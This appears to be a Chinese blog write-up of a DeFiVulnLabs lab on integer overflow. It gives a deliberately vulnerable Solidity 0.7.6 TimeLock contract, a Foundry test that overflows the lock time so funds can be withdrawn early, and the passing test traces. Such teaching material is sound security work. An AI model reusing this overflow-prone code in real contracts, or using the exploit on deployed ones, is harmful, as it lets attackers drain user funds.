DeFiVulnLabs靶场(一)溢出漏洞1
DeFiVulnLabs详解汇总 [作者 Ice ThirdSpace]
- EXP
https://github.com/SunWeb3Sec/DeFiVulnLabs/blob/main/src/test/Overflow.sol
- 漏洞合约源代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;// 版本号小于 8.0
contract TimeLock {
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
function deposit() external payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;
}
function increaseLockTime(uint _secondsToIncrease) public {
lockTime[msg.sender] += _secondsToIncrease; // 时间锁增加,整数上溢出
}
function withdraw() public {
require(balances[msg.sender] > 0, "Insufficient funds");
require(
block.timestamp > lockTime[msg.sender],
"Lock time not expired"
);
uint amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}
- 攻击合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
// this need to be older version of solidity from 0.8.0 solidty compiler checks for overflow and underflow
pragma abicoder v2;
import "../src/Overflow.sol";
import "forge-std/Test.sol";
contract ContractTest is Test {
TimeLock TimeLockContract;
address alice;
address bob;
function setUp() public {
TimeLockContract = new TimeLock();
alice = vm.addr(1);
bob = vm.addr(2);
vm.deal(alice, 1 ether);
vm.deal(bob, 1 ether);
}
function testOverflowA() public {
console.log("Alice balance", alice.balance);
console.log("Bob balance", bob.balance);
vm.startPrank(alice);
TimeLockContract.deposit{value: 1 ether}();
console.log("Alice before balance", alice.balance);
vm.expectRevert("Lock time not expired");
TimeLockContract.withdraw();
console.log("Alice after balance", alice.balance);
vm.stopPrank();
}
function testOverflowB() public {
vm.startPrank(bob);
TimeLockContract.deposit{value: 1 ether}();
console.log("Bob before balance", bob.balance);
TimeLockContract.increaseLockTime(
type(uint).max + 1 - TimeLockContract.lockTime(bob)// type(T).max 类型 T 可表示的最大值
);
TimeLockContract.withdraw();
console.log("Bob after balance", bob.balance);
vm.stopPrank();
}
}
为了测试[整数溢出],编译器版本0.7.6。在Solidity0.8.0之前,默认是ABIEncoderV1,所以需要添加
pragma abicoder v2; 否则会报错
$ forge test Overflow.t.sol
Compiler run failed:
Error (6594): Contract "ContractTest" does not use ABI coder v2 but wants to inherit from a contract which uses types that require it. Use "pragma abicoder v2;" for the inheriting contract as well to enable the feature.
- 测试结果
$ forge test Overflow.t.sol -vvvv
[?] Compiling...
[?] Compiling 1 files with Solc 0.7.6
[?] Solc 0.7.6 finished in 3.46s
Compiler run successful!
Ran 2 tests for test/Overflow.t.sol:ContractTest
[PASS] testOverflowA() (gas: 77821)
Logs:
Alice balance 1000000000000000000
Bob balance 1000000000000000000
Alice before balance 0
Alice after balance 0
Traces:
[77821] ContractTest::testOverflowA()
├─ [0] console::log("Alice balance", 1000000000000000000 [1e18]) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("Bob balance", 1000000000000000000 [1e18]) [staticcall]
│ └─ ← [Stop]
├─ [0] VM::startPrank(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf)
│ └─ ← [Return]
├─ [44615] TimeLock::deposit{value: 1000000000000000000}()
│ └─ ← [Stop]
├─ [0] console::log("Alice before balance", 0) [staticcall]
│ └─ ← [Stop]
├─ [0] VM::expectRevert(custom error 0xf28dceb3: Lock time not expired)
│ └─ ← [Return]
├─ [827] TimeLock::withdraw()
│ └─ ← [Revert] Lock time not expired
├─ [0] console::log("Alice after balance", 0) [staticcall]
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
└─ ← [Stop]
[PASS] testOverflowB() (gas: 78780)
Logs:
Bob before balance 0
Bob after balance 1000000000000000000
Traces:
[103741] ContractTest::testOverflowB()
├─ [0] VM::startPrank(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF)
│ └─ ← [Return]
├─ [44615] TimeLock::deposit{value: 1000000000000000000}()
│ └─ ← [Stop]
├─ [0] console::log("Bob before balance", 0) [staticcall]
│ └─ ← [Stop]
├─ [858] TimeLock::lockTime(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF) [staticcall]
│ └─ ← [Return] 604801 [6.048e5]
├─ [750] TimeLock::increaseLockTime(115792089237316195423570985008687907853269984665640564039457584007913129035135 [1.157e77])
│ └─ ← [Stop]
├─ [33054] TimeLock::withdraw()
│ ├─ [0] 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF::fallback{value: 1000000000000000000}()
│ │ └─ ← [Stop]
│ └─ ← [Stop]
├─ [0] console::log("Bob after balance", 1000000000000000000 [1e18]) [staticcall]
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 22.38ms (2.76ms CPU time)
Ran 1 test suite in 244.79ms (22.38ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)
- 主要参考文章
https://learnblockchain.cn/docs/solidity/units-and-global-variables.html
https://learnblockchain.cn/article/5866